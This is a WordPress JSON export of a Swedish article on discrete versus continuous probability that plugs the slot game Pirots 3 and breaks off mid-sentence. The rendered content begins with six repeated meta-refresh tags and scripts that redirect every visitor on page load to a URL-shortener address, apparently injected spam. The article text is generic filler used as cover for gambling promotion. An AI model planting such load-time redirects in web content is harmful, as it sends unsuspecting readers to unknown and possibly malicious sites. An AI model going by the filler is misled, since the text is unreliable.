{"id":97400,"date":"2025-10-22T00:43:25","date_gmt":"2025-10-22T00:43:25","guid":{"rendered":"http:\/\/ansoldes.com\/?p=97400"},"modified":"2025-10-29T06:05:29","modified_gmt":"2025-10-29T06:05:29","slug":"skillnader-mellan-diskret-och-kontinuerlig-sannolikhet-i-digitala-system","status":"publish","type":"post","link":"http:\/\/ansoldes.com\/index.php\/2025\/10\/22\/skillnader-mellan-diskret-och-kontinuerlig-sannolikhet-i-digitala-system\/","title":{"rendered":"Skillnader mellan diskret och kontinuerlig sannolikhet i digitala system"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><\/p>\n<div style=\"margin: 20px 0; font-family: Arial, sans-serif; font-size: 16px; line-height: 1.6; color: #34495e;\">\n<p style=\"margin-bottom: 15px;\">I den moderna svenska digitala v\u00e4rlden \u00e4r f\u00f6rst\u00e5elsen av sannolikhet grundl\u00e4ggande f\u00f6r att utveckla s\u00e4kra, effektiva och tillf\u00f6rlitliga system. Fr\u00e5n kryptering av personuppgifter till m\u00e4tningar i industriella processer, spelar sannolikhetsmodeller en avg\u00f6rande roll. Denna artikel f\u00f6rdjupar sig i skillnaderna mellan diskret och kontinuerlig sannolikhet, deras till\u00e4mpningar i svenska system samt hur dessa koncept \u00e4r integrerade i exempel som Pirots 3.<\/p>\n<p style=\"margin-bottom: 20px;\">F\u00f6r att b\u00e4ttre f\u00f6rst\u00e5 dessa skillnader \u00e4r det viktigt att f\u00f6rst definiera vad sannolikhet inneb\u00e4r och varf\u00f6r det \u00e4r s\u00e5 centralt inom digital teknik i Sverige, ett land k\u00e4nt f\u00f6r sin innovativa IT-sektor och h\u00f6ga digitala mognad.<\/p>\n<h2 style=\"font-family: Arial, sans-serif; color: #2980b9; margin-top: 40px;\">Inneh\u00e5llsf\u00f6rteckning<\/h2>\n<div style=\"margin-left: 20px; font-family: Arial, sans-serif; font-size: 14px; color: #7f8c8d;\">\n<ul style=\"list-style-type: disc;\">\n<li><a href=\"#introduktion\" style=\"text-decoration: none; color: #2980b9;\">Introduktion till sannolikhet i digitala system<\/a><\/li>\n<li><a href=\"#diskret-sannolikhet\" style=\"text-decoration: none; color: #2980b9;\">Grundl\u00e4ggande begrepp inom diskret sannolikhet<\/a><\/li>\n<li><a href=\"#kontinuerlig-sannolikhet\" style=\"text-decoration: none; color: #2980b9;\">Grundl\u00e4ggande begrepp inom kontinuerlig sannolikhet<\/a><\/li>\n<li><a href=\"#j\u00e4mf\u00f6relse\" style=\"text-decoration: none; color: #2980b9;\">J\u00e4mf\u00f6relse av diskreta och kontinuerliga sannolikheter<\/a><\/li>\n<li><a href=\"#till\u00e4mpningar\" style=\"text-decoration: none; color: #2980b9;\">Exempel p\u00e5 till\u00e4mpningar i svenska system: Pirots 3<\/a><\/li>\n<li><a href=\"#kulturella-och-teknologiska-aspekter\" style=\"text-decoration: none; color: #2980b9;\">Sannolikhet och svenska kulturella och teknologiska aspekter<\/a><\/li>\n<li><a href=\"#framtid\" style=\"text-decoration: none; color: #2980b9;\">Avancerade koncept och framtidstrender<\/a><\/li>\n<li><a href=\"#sammanfattning\" style=\"text-decoration: none; color: #2980b9;\">Sammanfattning och praktiska r\u00e5d<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"introduktion\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">Introduktion till sannolikhet i digitala system<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Vad \u00e4r sannolikhet och varf\u00f6r \u00e4r det viktigt i digital teknik?<\/h3>\n<p style=\"margin-bottom: 15px;\">Sannolikhet \u00e4r ett m\u00e5tt p\u00e5 os\u00e4kerhet och anv\u00e4nds f\u00f6r att kvantifiera chansen att en viss h\u00e4ndelse intr\u00e4ffar. I svenska digitala system \u00e4r detta avg\u00f6rande f\u00f6r att s\u00e4kerst\u00e4lla dataskydd, optimera prestanda och f\u00f6rb\u00e4ttra anv\u00e4ndarupplevelsen. Till exempel, i krypteringsalgoritmer som anv\u00e4nds f\u00f6r att skydda svenska myndigheter och banker, bygger man ofta p\u00e5 sannolikhetsmodeller f\u00f6r att bed\u00f6ma s\u00e4kerheten.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Skillnaden mellan diskret och kontinuerlig sannolikhet i ett svenskt sammanhang<\/h3>\n<p style=\"margin-bottom: 15px;\">I Sverige \u00e4r det vanligt att m\u00f6ta b\u00e5de diskreta och kontinuerliga sannolikheter. Diskret sannolikhet handlar om utfall som \u00e4r tydligt \u00e5tskilda, till exempel antalet fel p\u00e5 en h\u00e5rddisk i svenska datacenter eller antalet anv\u00e4ndare som loggar in per timme. Kontinuerlig sannolikhet, d\u00e4remot, anv\u00e4nds f\u00f6r m\u00e4tningar som temperatur, ljud och sensordata, d\u00e4r resultat kan anta vilket v\u00e4rde som helst inom ett intervall. Att f\u00f6rst\u00e5 skillnaden \u00e4r avg\u00f6rande f\u00f6r att v\u00e4lja r\u00e4tt modell i exempelvis industriella automationer eller AI-system.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Relevansen av sannolikhet f\u00f6r svenska digitala innovationer och s\u00e4kerhetssystem<\/h3>\n<p style=\"margin-bottom: 15px;\">Svenska f\u00f6retag som Ericsson, Scania och Spotify f\u00f6rlitar sig p\u00e5 sannolikhetsbaserade modeller f\u00f6r att f\u00f6rb\u00e4ttra s\u00e4kerhet, data\u00f6verf\u00f6ring och anv\u00e4ndarinteraktion. I takt med att digitaliseringen \u00f6kar, blir f\u00f6rst\u00e5elsen av hur dessa modeller fungerar central f\u00f6r att utveckla robusta och framtidss\u00e4kra l\u00f6sningar.<\/p>\n<h2 id=\"diskret-sannolikhet\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">Grundl\u00e4ggande begrepp inom diskret sannolikhet<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Definition och exempel p\u00e5 diskreta sannolikhetsf\u00f6rdelningar<\/h3>\n<p style=\"margin-bottom: 15px;\">Diskret sannolikhet avser situationer d\u00e4r utfallen \u00e4r r\u00e4knbara, s\u00e5som antalet felaktiga datapaket i en svensk server eller antalet samtal till en kundtj\u00e4nst. En vanlig modell \u00e4r den bin\u00e4ra f\u00f6rdelningen, d\u00e4r ett utfall kan vara &#8220;fel&#8221; eller &#8220;inte fel&#8221;.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Vanliga till\u00e4mpningar i svenska digitala system, som kryptering och datakomprimering<\/h3>\n<p style=\"margin-bottom: 15px;\">Inom kryptering anv\u00e4nds sannolikhetsf\u00f6rdelningar f\u00f6r att bed\u00f6ma sannolikheten f\u00f6r att en kryptografisk nyckel kan gissas eller kn\u00e4ckas. Inom datakomprimering, som i svenska streamingtj\u00e4nster, hj\u00e4lper modeller att f\u00f6ruts\u00e4ga data och minska filstorlekar.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Exempel: Sannolikheten f\u00f6r att ett h\u00e5rddiskblock \u00e4r felaktigt i svenska datacenter<\/h3>\n<table style=\"width: 100%; border-collapse: collapse; margin-top: 15px; font-family: Arial, sans-serif; font-size: 14px; color: #34495e;\">\n<tr style=\"background-color: #ecf0f1;\">\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">Parameter<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">V\u00e4rde<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">Beskrivning<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">P(fel p\u00e5 block)<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">0,001<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Sannolikheten att ett enskilt h\u00e5rddiskblock \u00e4r felaktigt<\/td>\n<\/tr>\n<tr style=\"background-color: #f9f9f9;\">\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Antal felaktiga block<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">0-10<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Antal fel per dag i ett datacenter<\/td>\n<\/tr>\n<\/table>\n<h2 id=\"kontinuerlig-sannolikhet\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">Grundl\u00e4ggande begrepp inom kontinuerlig sannolikhet<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Definition och exempel p\u00e5 kontinuerliga sannolikhetsf\u00f6rdelningar<\/h3>\n<p style=\"margin-bottom: 15px;\">Kontinuerlig sannolikhet g\u00e4ller f\u00f6r utfall som kan anta o\u00e4ndligt m\u00e5nga v\u00e4rden inom ett intervall, exempelvis temperatur, ljudniv\u00e5 eller hastighet. Vanliga f\u00f6rdelningar inkluderar den normala f\u00f6rdelningen, som ofta anv\u00e4nds f\u00f6r att modellera m\u00e4tfel i svenska industriella processer.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Anv\u00e4ndning i svenska system f\u00f6r m\u00e4tningar, sensorer och ljudbehandling<\/h3>\n<p style=\"margin-bottom: 15px;\">Sensorer i svenska industrier m\u00e4ter ofta temperatur och tryck, d\u00e4r v\u00e4rdena f\u00f6ljer en kontinuerlig f\u00f6rdelning. Inom ljudteknik anv\u00e4nds kontinuerlig sannolikhet f\u00f6r att modellera ljudniv\u00e5er och f\u00f6rb\u00e4ttra ljudkvaliteten i exempelvis svenska musiktj\u00e4nster.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Exempel: M\u00e4tning av temperatur i svenska industriella processer med kontinuerlig sannolikhet<\/h3>\n<table style=\"width: 100%; border-collapse: collapse; margin-top: 15px; font-family: Arial, sans-serif; font-size: 14px; color: #34495e;\">\n<tr style=\"background-color: #ecf0f1;\">\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">Parameter<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">V\u00e4rdeintervall<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 8px;\">Beskrivning<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Temperatur<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">0\u00b0C till 100\u00b0C<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">M\u00e4tning av temperatur i en svensk fabrik<\/td>\n<\/tr>\n<tr style=\"background-color: #f9f9f9;\">\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Sannolikhet f\u00f6r avvikelse<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">0,05<\/td>\n<td style=\"border: 1px solid #bdc3c7; padding: 8px;\">Sannolikheten att temperaturen avviker fr\u00e5n normalintervallet<\/td>\n<\/tr>\n<\/table>\n<h2 id=\"j\u00e4mf\u00f6relse\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">J\u00e4mf\u00f6relse av diskreta och kontinuerliga sannolikheter<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Hur skiljer sig deras matematiska modeller och till\u00e4mpningar?<\/h3>\n<p style=\"margin-bottom: 15px;\">Matematiskt skiljer sig modeller f\u00f6r diskret sannolikhet ofta genom sannolikhetsmassfunktioner (PMF), som ger sannolikheten f\u00f6r varje enskilt utfall. Kontinuerlig sannolikhet anv\u00e4nder sannolikhetsdensitetsfunktioner (PDF), d\u00e4r sannolikheten f\u00f6r ett exakt v\u00e4rde \u00e4r noll, och ist\u00e4llet m\u00e4ts sannolikheten inom ett intervall. I svenska system kan exempelvis diskreta modeller anv\u00e4ndas f\u00f6r att analysera antalet fel i datacenter, medan kontinuerliga modeller \u00e4r b\u00e4ttre f\u00f6r att f\u00f6ruts\u00e4ga temperaturvariationer.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Vilka utmaningar och m\u00f6jligheter ger varje typ i digitala system?<\/h3>\n<p style=\"margin-bottom: 15px;\">Diskreta modeller \u00e4r ofta enklare att implementera och tolka, men kan vara mindre precisa f\u00f6r m\u00e4tningar som varierar kontinuerligt. Kontinuerliga modeller kr\u00e4ver mer avancerad statistik och ber\u00e4kningar, men ger en mer nyanserad bild av verkligheten. I Sverige, d\u00e4r precision i industriella m\u00e4tningar \u00e4r avg\u00f6rande, \u00e4r det ofta n\u00f6dv\u00e4ndigt att anv\u00e4nda b\u00e5da typer av modeller f\u00f6r att maximera tillf\u00f6rlitligheten.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Betydelsen av sannolikhetsf\u00f6rdelningar i svenska AI-system och maskininl\u00e4rning<\/h3>\n<p style=\"margin-bottom: 15px;\">AI och maskininl\u00e4rning i Sverige bygger p\u00e5 att hantera os\u00e4kerhet, exempelvis i bildigenk\u00e4nning eller prediktiv underh\u00e5llning. Att f\u00f6rst\u00e5 om data \u00e4r diskret eller kontinuerlig p\u00e5verkar valet av algoritmer och modeller, vilket \u00e4r avg\u00f6rande f\u00f6r att skapa robusta och s\u00e4kra system \u2014 som exempelvis de som anv\u00e4nds inom svensk sjukv\u00e5rd eller fordonsteknik.<\/p>\n<h2 id=\"till\u00e4mpningar\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">Exempel p\u00e5 till\u00e4mpning i moderna svenska system: Pirots 3<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Hur Pirots 3 anv\u00e4nder sannolikhetssamband f\u00f6r att f\u00f6rb\u00e4ttra digitala processer<\/h3>\n<p style=\"margin-bottom: 15px;\">Pirots 3 \u00e4r ett modernt exempel d\u00e4r sannolikhet anv\u00e4nds f\u00f6r att skapa mer r\u00e4ttvisa och s\u00e4kra spelupplevelser. Genom att analysera sannolikheten f\u00f6r olika utfall i spelautomater, kan Pirots 3 anpassa sina algoritmer f\u00f6r att erbjuda r\u00e4ttvisa, samtidigt som de \u00e4r s\u00e4kra mot manipulation. Ett exempel \u00e4r <a href=\"https:\/\/pirots3-slot.se\" style=\"color: #2980b9; text-decoration: none;\">TNT-funktionen i Pirots 3 slot<\/a>, som anv\u00e4nder sannolikhetssamband f\u00f6r att skapa dynamiska spelupplevelser.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Diskret och kontinuerlig sannolikhet i Pirots 3:s algoritmer<\/h3>\n<p style=\"margin-bottom: 15px;\">I Pirots 3 anv\u00e4nds diskreta sannolikheter f\u00f6r att best\u00e4mma utfall av symbolkombinationer, medan kontinuerliga sannolikheter kan ligga till grund f\u00f6r ljud- och grafikgenerering. Kombinationen av dessa modeller bidrar till att skapa ett r\u00e4ttvist och engagerande spel, d\u00e4r f\u00f6rst\u00e5elsen f\u00f6r b\u00e5da sannolikhetstyper \u00e4r avg\u00f6rande f\u00f6r utvecklarna.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Betydelsen av att f\u00f6rst\u00e5 sannolikhetstyper f\u00f6r att utveckla mer robusta digitala l\u00f6sningar<\/h3>\n<p style=\"margin-bottom: 15px;\">Att ha en djup f\u00f6rst\u00e5else f\u00f6r skillnaderna mellan diskret och kontinuerlig sannolikhet g\u00f6r det m\u00f6jligt f\u00f6r svenska utvecklare att skapa mer tillf\u00f6rlitliga, s\u00e4kra och anv\u00e4ndarv\u00e4nliga system. Detta g\u00e4ller inte bara spel, utan ocks\u00e5 kritiska infrastrukturer, som energisystem och kommunikationsn\u00e4t.<\/p>\n<h2 id=\"kulturella-och-teknologiska-aspekter\" style=\"font-family: Arial, sans-serif; color: #2c3e50; margin-top: 50px;\">Sannolikhet och svenska kulturella och teknologiska aspekter<\/h2>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">Hur svenska innovationer inom IT och telekommunikation p\u00e5verkas av sannolikhetsmodeller<\/h3>\n<p style=\"margin-bottom: 15px;\">Svenska f\u00f6retag har l\u00e4nge varit ledande inom telekommunikation och IT, d\u00e4r sannolikhetsmodeller anv\u00e4nds f\u00f6r att f\u00f6rb\u00e4ttra n\u00e4tverkss\u00e4kerhet, datakompression och anv\u00e4ndarupplevelse. Exempelvis har Ericsson utvecklat avancerade sannolikhetsbaserade algoritmer f\u00f6r att optimera 5G-n\u00e4tverk i Sverige och globalt.<\/p>\n<h3 style=\"font-family: Arial, sans-serif; color: #16a085; margin-top: 20px;\">S\u00e4rskilda utmaningar i svenska klimat- och geografiska f\u00f6rh\u00e5llanden<\/h3>\n<p style=\"margin-bottom: 15px;\">Det svenska klimatet med kyla, sn\u00f6 och l\u00e5nga m\u00f6rka period<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>I den moderna svenska digitala v\u00e4rlden \u00e4r f\u00f6rst\u00e5elsen av sannolikhet grundl\u00e4ggande f\u00f6r att utveckla s\u00e4kra, effektiva och tillf\u00f6rlitliga system. Fr\u00e5n kryptering av personuppgifter till m\u00e4tningar i industriella processer, spelar sannolikhetsmodeller en avg\u00f6rande roll. Denna artikel f\u00f6rdjupar sig i skillnaderna mellan diskret och kontinuerlig sannolikhet, deras till\u00e4mpningar i svenska system samt hur dessa koncept \u00e4r integrerade [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97400"}],"collection":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/comments?post=97400"}],"version-history":[{"count":1,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97400\/revisions"}],"predecessor-version":[{"id":97401,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/97400\/revisions\/97401"}],"wp:attachment":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/media?parent=97400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/categories?post=97400"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/tags?post=97400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}